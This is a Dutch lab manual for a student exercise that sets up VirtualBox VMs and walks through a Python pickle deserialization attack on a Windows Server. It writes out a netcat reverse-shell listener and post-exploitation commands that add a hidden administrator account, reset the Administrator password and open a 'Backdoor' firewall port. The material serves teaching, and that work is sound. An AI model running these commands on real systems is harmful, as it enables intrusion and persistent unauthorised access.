

Deployment manual - Geautomatiseerd PoC voor Insecure Deserialization (CVE-2025-59287 simulatie)

Inhoudstafel

- 1. Overzicht
 - 1.1 VMs
 - 1.2 Netwerkconfiguratie
- 2. Deployment (Stappenplan)
 - 2.1 Voorbereiding
 - 2.2 Script Configuratie
 - 2.3 Uitvoering
 - 2.4 Automatische afhandeling
 - 2.5 Verificatie
- 3. Attack - Python Pickle & Insecure Deserialization
 - 3.1 Inleiding
 - 3.2 Attack flow
 - 3.3 Conclusie & impact

1. Overzicht

We demonstreren een Python-based deserialization vulnerability via `pickle`.

De volledige infrastructuur wordt geautomatiseerd via `VBoxManage`, waardoor de omgeving volledig reproduceerbaar is.

1.1 VMs

- Target: Windows Server 2022 (`192.168.56.10`)
- Attacker: Kali Linux (`192.168.56.20`)

1.2 Netwerkconfiguratie

- Type: NAT-Network (`NPE_NAT`)
- Subnet: `192.168.56.0/24`
- DHCP: Uitgeschakeld (IP's worden statisch geconfigureerd via het script)

2. Deployment (stappenplan)

Volg deze stappen om het labo uit te rollen:

2.1 Voorbereiding

- Zorg er voor dat de gedownloade folder `CYSEC-NPE` op volgende locatie staat en unzip: `C:\Users\<jouw gebruikersnaam>`
- Download de VDI's naar de map `C:\Users\<jouw gebruikersnaam>\CYSEC_NPE:`
 - Kali: kali.org (plaats de .vdi in de folder `C:\Users\<jouw gebruikersnaam>\CYSEC_NPE`)

- Windows Server 2022: [OneDrive](#)(unzip het bestand en verplaats de .VDI eerst naar de folder `C:\Users\<jouw gebruikersnaam>\CYSEC_NPE!`)
- Zorg dat VirtualBox en de bijbehorende [VBoxManage](#) tool (onderdeel van de installatie) beschikbaar zijn in je systeempad

2.2 Script configuratie

- Open `server-install.ps1` in een editor naar keuze (bijv. VS Code) vanop de locatie `C:\Users\<jouw gebruikersnaam>\CYSEC_NPE\scripts`
- Controleer of de paden naar de vulnerability scripts (`$WSUS_SCRIPT`, etc.) en VDI's correct naar de werkelijke paden op jouw systeem verwijzen

2.3 Uitvoering

- Open de [Terminal](#) app
- Navigeer naar de correcte map: `cd C:\Users\<jouw gebruikersnaam>\CYSEC_NPE\scripts`
- Voer het install script uit met: `./server-install.ps1`

2.4 Automatische afhandeling

- Het script ruimt oude VM-sessies op.
- Het NAT-netwerk wordt geconfigureerd zonder DHCP om IP-conflicten te vermijden
- De schijven worden gekloond (zodat de Master VDI's intact blijven)
- De VM's worden geconfigureerd met 4GB RAM, 2 CPU's en de juiste netwerkadapter
- Na het booten injecteert het script de statische IP's en schakelt het de Windows Firewall uit voor lab-doeleinden
- De scripts worden naar de correcte VM's gekopieërd
 - **Let op:** het `exploit-python.py` script wordt automatisch naar de home-map van de Kali-gebruiker gekopieerd (`/home/kali/`).
Het deployment-script stelt de rechten automatisch in op `rwX` voor de `kali` gebruiker. Op de Windows Server kan je de scripts terug vinden onder `C:\`.
- De vulnerability-services (WSUS & Python server) worden automatisch gestart

2.5 Verificatie

- Wacht tot het install script is afgerond
- Controleer de getoonde IP-adressen

3. Attack - Python Pickle & Insecure Deserialization

3.1 Inleiding

In deze aanval maken we gebruik van de `pickle` module in Python. Pickle wordt veel gebruikt om Python-objecten te converteren naar een byte-stream (serialisatie) en weer terug (deserialisatie). Het grote gevaar van `pickle` is dat het niet alleen data opslaat, maar ook instructies over hoe het object gereconstrueerd moet worden. Een aanvaller kan een specifiek "ge-pickle-d" object maken dat tijdens het uitpakken op de server direct een systeemcommando uitvoert. Dit maakt het een klassiek en zeer krachtig voorbeeld van een *Arbitrary Code Execution* kwetsbaarheid.

3.2 Attack flow

1. Indien nog niet gebeurt, start de Windows Server en Kali Linux VM

Nota: normaliter worden de VM's via het `./server-install.ps1` script gestart.

```
VBoxManage startvm "WSUS-Target" --type gui  
VBoxManage startvm "Kali-Linux" --type gui
```

2. Bereid de Reverse Shell Listener voor

Open een terminal op Kali en start een listener.

```
nc -lvp 4444
```

3. Voer de exploit uit

Open een tweede terminal op Kali en start de aanval:

```
python3 exploit-python.py
```

4. Resultaat

Reverse shell verkregen op Kali.

Op dit moment kunnen we aan alle gevoelige informatie op de server.

1. Nieuwe user en paswoord aanmaken

```
net user Pawny HappyHacking! /add  
net localgroup Administrators Pawny /add
```

2 Wachtwoord van de Administrator wijzigen

```
net user Administrator YouGotPawned!
```

3 Verdediging uitschakelen: Firewall manipulatie

```
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True  
# Maar open specifiek een poort voor onze malware:  
New-NetFirewallRule -DisplayName "Backdoor" -Direction Inbound -Protocol TCP -  
LocalPort 443 -Action Allow
```

4 The sky is the limit (RDP activeren via de Shell, documenten op de server versleutelen of simpelweg overschrijven (ransomware),...)

3.3 Conclusie & impact

De succesvolle uitvoering van exploit.py laat zien dat een aanvaller met slechts één netwerkpakket de volledige controle over de server kan overnemen. In deze simulatie hebben we een Reverse Shell verkregen. Dit betekent dat de server zelf een verbinding opzet naar de attacker, wat vaak niet door firewalls wordt geblokkeerd (omdat het uitgaand verkeer is). De impact is enorm: de attacker kan bestanden stelen, de WSUS-configuratie aanpassen om malware te verspreiden naar andere clients, of de server gebruiken als springplank naar de rest van het bedrijfsnetwerk.